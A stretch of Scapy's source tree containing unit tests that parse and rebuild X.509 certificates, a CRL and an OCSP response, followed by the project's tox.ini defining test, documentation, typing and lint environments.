base64_bytes('MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYDVQQGEwJGUjEO\nMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEe\nMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0\nIGNlcnRpZmljYXRlMScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcN\nMDYwNzEzMDczODU5WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBh\ncmlzMQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNVBAsTFU11\nc2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkgVGVzdCBjZXJ0aWZpY2F0\nZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNocm9vbS5jb3JwMIIBIjANBgkqhkiG9w0B\nAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReD\nbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3y\nilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32\nzpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1S\nGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABo4IBHzCC\nARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd\n0s4zzVxWjG+XFDFLoYG8pIG5MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNV\nBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO\nIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI\nhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD5wkLcTAMBgNVHRMEBTADAQH/\nMA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvHMWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZ\nI88XA5XM6QolmfyKnNromMLC1+6CaFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2L\nR5kHe9RvSDuoPIsbSHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3g\nh8dR/kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpHo060Fo7f\nVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFxr3s7V77y') x=X509_Cert(c) = Cert class : Rebuild certificate raw(x) == c = Cert class : Version tbs = x.tbsCertificate tbs.version == ASN1_INTEGER(2) = Cert class : Serial tbs.serialNumber == ASN1_INTEGER(0xb45e7043e7090b71) = Cert class : Signature algorithm (as advertised by TBSCertificate) from scapy.layers.x509 import X509_AlgorithmIdentifier assert(type(tbs.signature) is X509_AlgorithmIdentifier) tbs.signature.algorithm == ASN1_OID("sha1-with-rsa-signature") = Cert class : Issuer structure from scapy.layers.x509 import X509_AttributeTypeAndValue from scapy.layers.x509 import X509_RDN assert(type(tbs.issuer) is list) assert(len(tbs.issuer) == 7) assert(type(tbs.issuer[0]) is X509_RDN) assert(type(tbs.issuer[0].rdn) is list) assert(type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue) = Cert class : Issuer first attribute tbs.issuer[0].rdn[0].type == ASN1_OID("countryName") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b"FR") = Cert class : Issuer string tbs.get_issuer_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Validity from scapy.layers.x509 import X509_Validity assert(type(tbs.validity) is X509_Validity) tbs.validity.not_before == ASN1_UTC_TIME("060713073859Z") and tbs.validity.not_after == ASN1_UTC_TIME("260330073859Z") = Cert class : Subject structure assert(type(tbs.subject) is list) assert(len(tbs.subject) == 7) assert(type(tbs.subject[0]) is X509_RDN) assert(type(tbs.subject[0].rdn) is list) assert(type(tbs.subject[0].rdn[0]) is X509_AttributeTypeAndValue) = Cert class : Subject last attribute tbs.issuer[6].rdn[0].type == ASN1_OID("emailAddress") and tbs.issuer[6].rdn[0].value == ASN1_IA5_STRING(b"ikev2-test@mushroom.corp") = Cert class : Subject string tbs.get_subject_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : SubjectPublicKey algorithm from scapy.layers.x509 import X509_SubjectPublicKeyInfo assert(type(tbs.subjectPublicKeyInfo) is X509_SubjectPublicKeyInfo) spki = tbs.subjectPublicKeyInfo spki.signatureAlgorithm.algorithm == ASN1_OID("rsaEncryption") = Cert class : SubjectPublicKey value from scapy.layers.x509 import RSAPublicKey assert(type(spki.subjectPublicKey) is RSAPublicKey) spki.subjectPublicKey.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) and spki.subjectPublicKey.publicExponent == ASN1_INTEGER(65537) = Cert class : Extensions structure ext = tbs.extensions assert(type(ext) is list) assert(len(ext) == 3) = Cert class : Subject key identifier extension info from scapy.layers.x509 import X509_Extension assert(type(ext[0]) is X509_Extension) ext[0].extnID == ASN1_OID("subjectKeyIdentifier") and ext[0].critical == None = Cert class : Subject key identifier extension value from scapy.layers.x509 import X509_ExtSubjectKeyIdentifier assert(type(ext[0].extnValue) is X509_ExtSubjectKeyIdentifier) ext[0].extnValue.keyIdentifier == ASN1_STRING(b'\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K') = Cert class : Signature algorithm from scapy.layers.x509 import X509_AlgorithmIdentifier assert(type(x.signatureAlgorithm) is X509_AlgorithmIdentifier) x.signatureAlgorithm.algorithm == ASN1_OID("sha1-with-rsa-signature") = Cert class : Signature value x.signatureValue == ASN1_BIT_STRING(b"6\xce\xdd\x01\xbdz\x1f\x89[\xc71i_\xb5\x90\xac\xb5\x06\x9a\xc1\xe8\xf5Jlk\x01\xf0\xc1\xe0\xd5\x0c\xdb\x83l\x1b\xe5\x19#\xcf\x17\x03\x95\xcc\xe9\n%\x99\xfc\x8a\x9c\xda\xe8\x98\xc2\xc2\xd7\xee\x82h\\c\xabx\xc2\xfe\xa7R\xee'\xda\x94R\xd0V\x8e\xe2\x93\xfb^\xd3>\x8e\x96\x8d\x11\x90\x13`\xc9\xa8\x16=}\x8bG\x99\x07{\xd4oH;\xa8<\x8b\x1bHs&$\x0f|\x01\x9c\x1a\xb5\xbb\xc4\x86l\xcc \xd2MR\x81\xd5\xce\x13\xde\x1d\x99\xc8h\x18\x14\x06\r6]B\xe4\xfcIbt\xeeuE\xfd\xe0\x87\xc7Q\xfeH\x05A$\x13\xeb\xce\xef\xb3\\}M`\xf4\xd3=\x10\xd9\xbb6P]\xceo\x7f\x8dbA\x06\x12\x8eE\xf5\x17\x8fBm&c\xde\x02Oll\xe9jG\xa3N\xb4\x16\x8e\xdfV\x90\x05\x92\xd3\x16\xc7[\xe9\xbb\xec,\x11\xb4\x00\x86\x01\xaaWG\xc2Gd0(2\x1bN\xb3\xd6\xfe\x9fG&\xd2CaX\xd8t\x01q\xaf{;W\xbe\xf2", readable=True) = Cert class : Default X509_Cert from scratch from scapy.layers.x509 import X509_Cert raw(X509_Cert(raw(X509_Cert()))) == raw(X509_Cert()) = Cert class : Error try: Cert("fail") except: assert True else: assert False ############ CRL class ############################################### + X509_CRL class tests = CRL class : Importing DER encoded X.509 CRL from scapy.layers.x509 import X509_CRL c = base64_bytes('MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWdu\nLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0\naG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcyMzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6\nLcgXDTA0MDQwMTE3NTYxNVowIQIQOkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBB\nXYg2gRUg1YCDRqhZkngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEw\nOTE4MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13eGPI5ZoKm\nj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5VeFw0wMTEyMTExODI2MjFa\nMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIRs3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE\n0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZzXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBk\nDCYJI5C3nLlQA49LGJ+w4GUPYBwaZ+WFxCX1C8kzglLm') x=X509_CRL(c) = CRL class : Rebuild crl raw(x) == c = CRL class : Version tbs = x.tbsCertList tbs.version == None = CRL class : Signature algorithm (as advertised by TBSCertList) assert(type(tbs.signature) is X509_AlgorithmIdentifier) tbs.signature.algorithm == ASN1_OID("sha1-with-rsa-signature") = CRL class : Issuer structure assert(type(tbs.issuer) is list) assert(len(tbs.issuer) == 3) assert(type(tbs.issuer[0]) is X509_RDN) assert(type(tbs.issuer[0].rdn) is list) assert(type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue) = CRL class : Issuer first attribute tbs.issuer[0].rdn[0].type == ASN1_OID("countryName") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b"US") = CRL class : Issuer string tbs.get_issuer_str() == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority' = CRL class : This update tbs.this_update == ASN1_UTC_TIME("061102000000Z") = CRL class : Optional next update tbs.next_update == ASN1_UTC_TIME("070217235959Z") = CRL class : Optional revoked_certificates structure from scapy.layers.x509 import X509_RevokedCertificate assert(type(tbs.revokedCertificates) is list) assert(len(tbs.revokedCertificates) == 7) assert(type(tbs.revokedCertificates[0]) is X509_RevokedCertificate) = CRL class : Revoked_certificates first attribute tbs.revokedCertificates[0].serialNumber == ASN1_INTEGER(59577943160751197113872490992424857032) and tbs.revokedCertificates[0].revocationDate == ASN1_UTC_TIME("040401175615Z") = CRL class : Extensions structure tbs.crlExtensions == None = CRL class : Signature algorithm assert(type(x.signatureAlgorithm) is X509_AlgorithmIdentifier) x.signatureAlgorithm.algorithm == ASN1_OID("sha1-with-rsa-signature") = CRL class : Signature value x.signatureValue == ASN1_BIT_STRING(b'"\xc9\xf6\xbb\x1d\xa1\xa5=$\xc7\xff\xb0"\x11\xb3p\x06[\xc5U\xdd3v\xa0\x98"\x08cDi\xcfOG%w\x99\x12\x84\xd2\x19\xae \x94\xca,T\x9ak\x81\xd2\x038\xa6Z\x95\x8d*\xe2a\xce\xdb\x19\xcdu\'Y&|V\xe1\xe4\x80q\x1aI\xb2\xaa\xcdI[\xda\x0f\xa8\xff\xce<\n\xfc\xc9\xad\xc6\xde\xc8@d\x0c&\t#\x90\xb7\x9c\xb9P\x03\x8fK\x18\x9f\xb0\xe0e\x0f`\x1c\x1ag\xe5\x85\xc4%\xf5\x0b\xc93\x82R\xe6', readable=True) = CRL class : Default X509_CRL from scratch s = raw(X509_CRL()) raw(X509_CRL(s)) == s ############ Randval tests ############################################### = Randval tests : ASN1F_SEQUENCE_OF from scapy.layers.x509 import ASN1P_INTEGER, X509_OtherName random.seed(42) r = ASN1F_SEQUENCE_OF("test", [], ASN1P_INTEGER).randval().number assert(isinstance(r, RandNum)) int(r) == -16393048219351680611 = Randval tests : ASN1F_PACKET random.seed(0xcafecafe) r = ASN1F_PACKET("otherName", None, X509_OtherName).randval() assert(isinstance(r, X509_OtherName)) str(r.type_id) == '171.184.10.271' ############ OCSP class ############################################### = OCSP class : OCSP Response import from scapy.layers.x509 import OCSP_Response s = b'0\x82\x01\xd3\n\x01\x00\xa0\x82\x01\xcc0\x82\x01\xc8\x06\t+\x06\x01\x05\x05\x070\x01\x01\x04\x82\x01\xb90\x82\x01\xb50\x81\x9e\xa2\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x18\x0f20160914121000Z0s0q0I0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xcf&\xf5\x18\xfa\xc9~\x8f\x8c\xb3B\xe0\x1c/j\x10\x9e\x8e_\n\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d\x80\x00\x18\x0f20160914121000Z\xa0\x11\x18\x0f20160921112500Z0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x90\xef\xf9\x15U\x88\xac@l\xf6n\x04C/\x1a\xf5\xbc[Xi\xd9U\xbe\'\xd3\xb7\xf5\xbb\t\xd8\xb1Tw\x9c2\xac\x7f\x88\xba\x98\xe4\xa13\xf4\xdc\xea\xf3\xacX\xe4,E\xf5\xa9\xc3\xf4B-N\xe0\x89D[\xbe\n\xc2h\x9ar\xfd\'.\xc8,\xed\x83\xc2\xf0\x89_\x8c\xc3\xe7\x8a\xad\xa4\x14\x03\x96\x02\xc4\xa8\xc8\x90\x96%X\x80\x95\x02\x9d_\xc82;m\xe9\x15\x00\xa8\x00\xb9\x01\xe3aN&\xe4\xd5\x8a\xc4w7\x0b\xc3~\xc5\xb1M\x10~T\x9e\x1d\xf6\x06\xf8\x12sTg\x14b_\xe7\xc04\xb4\xa3\xd2\x8f\xe6\xa6\xc4\x01q\x03j\xc8\xd4\xc7\x89\xdde\x99\x1a\xd9\x02\xe7\x17\xd1\xf40P\xef\xf6$\xee\xfad\xf4\xeb\xc8\xf7\x0bRL\x8b\xa5x\xe4R2\xe9\xc2\xfcB\nh\x93\xf7\x0ep4h\xeb\x17\x83\xc8\x88!\xc3W\x94WG\xfe3\x15C0qE&A\x99\xa8}\x1a\xda"\xa9O\xba\x90W_W\xado\x1c\xf0`g7\xbb$\x91o\xec\xdd\xbd\x9e\x8bb\xfc' response = OCSP_Response(s) = OCSP class : OCSP Response global checks from scapy.layers.x509 import OCSP_ResponseBytes assert(response.responseStatus.val == 0) assert(isinstance(response.responseBytes, OCSP_ResponseBytes)) responseBytes = response.responseBytes assert(responseBytes.responseType == ASN1_OID("basic-response")) assert(responseBytes.signatureAlgorithm.algorithm == ASN1_OID("sha256WithRSAEncryption")) assert(responseBytes.signatureAlgorithm.parameters == ASN1_NULL(0)) assert(responseBytes.signature.val_readable[:3] == b"\x90\xef\xf9" and responseBytes.signature.val_readable[-3:] == b"\x8bb\xfc") responseBytes.certs is None = OCSP class : OCSP ResponseData checks from scapy.layers.x509 import OCSP_ByKey responseData = responseBytes.tbsResponseData assert(responseData.version is None) rID = responseData.responderID.responderID assert(isinstance(rID, OCSP_ByKey)) assert(rID.byKey.val[:3] == b"Qh\xff" and rID.byKey.val[-3:] == b"Yr;") assert(responseData.producedAt == ASN1_GENERALIZED_TIME("20160914121000Z")) assert(len(responseData.responses) == 1) responseData.responseExtensions is None = OCSP class : OCSP SingleResponse checks from scapy.layers.x509 import OCSP_GoodInfo singleResponse = responseData.responses[0] assert(singleResponse.certID.hashAlgorithm.algorithm == ASN1_OID("sha1")) assert(singleResponse.certID.hashAlgorithm.parameters == ASN1_NULL(0)) assert(singleResponse.certID.issuerNameHash.val[:3] == b"\xcf&\xf5" and singleResponse.certID.issuerNameHash.val[-3:] == b"\x8e_\n") assert(singleResponse.certID.issuerKeyHash.val[:3] == b"Qh\xff" and singleResponse.certID.issuerKeyHash.val[-3:] == b"Yr;") assert(singleResponse.certID.serialNumber.val == 0x77a5dc3362301f989fe54f7f86f3e64) assert(isinstance(singleResponse.certStatus.certStatus, OCSP_GoodInfo)) assert(singleResponse.thisUpdate == ASN1_GENERALIZED_TIME("20160914121000Z")) assert(singleResponse.nextUpdate == ASN1_GENERALIZED_TIME("20160921112500Z")) singleResponse.singleExtensions is None = OCSP class : OCSP Response reconstruction raw(response) == s scapy-2.4.4/tox.ini000066400000000000000000000120161372370053500141600ustar00rootroot00000000000000# Scapy tox configuration file # Copyright (C) 2019 Guillaume Valadon [tox] envlist = py{27,34,35,36,37,38,py,py3}-{linux,bsd}_{non_root,root}, py{27,34,25,36,37,38,py,py3}-windows, skip_missing_interpreters = true minversion = 2.9 # Main tests [testenv] description = "Scapy unit tests" whitelist_externals = sudo passenv = PATH PWD PROGRAMFILES WINDIR SYSTEMROOT # Used by scapy SCAPY_USE_PCAPDNET deps = mock # cryptography requirements setuptools>=18.5 cryptography coverage python-can brotli<1.0.8 platform = linux_non_root,linux_root: linux bsd_non_root,bsd_root: darwin|freebsd|openbsd|netbsd windows: win32 commands = linux_non_root: {envpython} {env:SCAPY_PY_OPTS:-m coverage run} -m scapy.tools.UTscapy -c ./test/configs/linux.utsc -N {posargs} linux_root: sudo -E {envpython} {env:SCAPY_PY_OPTS:-m coverage run} -m scapy.tools.UTscapy -c ./test/configs/linux.utsc {posargs} bsd_non_root: {envpython} {env:SCAPY_PY_OPTS:-m coverage run} -m scapy.tools.UTscapy -c test/configs/bsd.utsc -K manufdb -K tshark -N {posargs} bsd_root: sudo -E {envpython} {env:SCAPY_PY_OPTS:-m coverage run} -m scapy.tools.UTscapy -c test/configs/bsd.utsc -K manufdb -K tshark {posargs} windows: {envpython} {env:SCAPY_PY_OPTS:-m coverage run} -m scapy.tools.UTscapy -c test/configs/windows.utsc {posargs} coverage combine # Variants of the main tests [testenv:py38-isotp_kernel_module] description = "Scapy unit tests - ISOTP Linux kernel module" whitelist_externals = sudo git bash lsmod modprobe passenv = PATH PWD PROGRAMFILES WINDIR SYSTEMROOT deps = {[testenv]deps} commands = sudo -E modprobe can git clone --depth=1 https://github.com/linux-can/can-utils.git /tmp/can-utils bash -c "cd /tmp/can-utils; ./autogen.sh; ./configure; make; sudo make install" git clone --depth=1 https://github.com/hartkopp/can-isotp.git /tmp/can-isotp bash -c "cd /tmp/can-isotp; make; sudo make modules_install; sudo modprobe can_isotp || sudo insmod ./net/can/can-isotp.ko" bash -c "rm -rf /tmp/can-utils /tmp/can-isotp" lsmod sudo -E {envpython} -m coverage run -m scapy.tools.UTscapy -c ./test/configs/linux.utsc {posargs} coverage combine # Specific functions or tests [testenv:codecov] description = "Upload coverage results to codecov" passenv = TOXENV CI TRAVIS TRAVIS_* APPVEYOR APPVEYOR_* deps = codecov commands = codecov -e TOXENV # The files listed in thr sphinx-apidoc are ignored # (past the first argument) [testenv:apitree] description = "Regenerates the API reference doc tree" skip_install = true changedir = doc/scapy deps = sphinx commands = sphinx-apidoc -f --no-toc --separate --module-first --output-dir api ../../scapy ../../scapy/modules/ ../../scapy/libs/ ../../scapy/tools/ ../../scapy/arch/ ../../scapy/contrib/cansocket* ../../scapy/contrib/scada/* ../../scapy/all.py ../../scapy/layers/all.py python sphinx_apidoc_postprocess.py [testenv:mypy] description = "Check Scapy compliance against static typing" skip_install = true deps = mypy typing commands = python .config/mypy/mypy_check.py [testenv:docs] description = "Build the docs" skip_install = true changedir = doc/scapy deps = sphinx>=2.4.2 sphinx_rtd_theme commands = sphinx-build -W --keep-going -b html . _build/html # Debug mode [testenv:docs2] description = "Build the docs without rebuilding the API tree" skip_install = true changedir = doc/scapy deps = {[testenv:docs]deps} setenv = SCAPY_APITREE = 0 commands = sphinx-build -W --keep-going -b html . _build/html [testenv:spell] description = "Check code for Grammar mistakes" skip_install = true deps = codespell # inet6, dhcp6 and the ipynb files contains french: ignore them commands = codespell --ignore-words=.config/codespell_ignore.txt --skip="*.pyc,*.png,*.jpg,*.ods,*.raw,*.pdf,*.pcap,*.js,*.html,*.der,*_build*,*inet6.py,*dhcp6.py,*.ipynb,*.svg,*.gif,*.obs,*.gz" scapy/ doc/ test/ .github/ [testenv:twine] description = "Check Scapy code distribution" skip_install = true deps = twine setuptools>=38.6.0 cmarkgfm commands = python setup.py --quiet sdist twine check dist/* [testenv:flake8] description = "Check Scapy code style & quality" skip_install = true deps = flake8 commands = flake8 scapy/ # flake8 configuration [flake8] ignore = E731, W504 per-file-ignores = scapy/all.py:F403,F401 scapy/contrib/automotive/obd/obd.py:F405,F403 scapy/contrib/automotive/obd/pid/pids.py:F405,F403 scapy/contrib/automotive/obd/scanner.py:F405,F403,E501 scapy/contrib/automotive/volkswagen/definitions.py:E501 scapy/contrib/eigrp.py:E501 scapy/contrib/geneve.py:E501 scapy/contrib/http2.py:F821 scapy/contrib/igmp.py:E501 scapy/contrib/scada/iec104/__init__.py:F405 scapy/layers/tls/all.py:F403 scapy/layers/tls/crypto/all.py:F403 scapy/libs/winpcapy.py:F405,F403,E501 scapy/tools/UTscapy.py:E501 exclude = scapy/modules/six.py, scapy/libs/ethertypes.py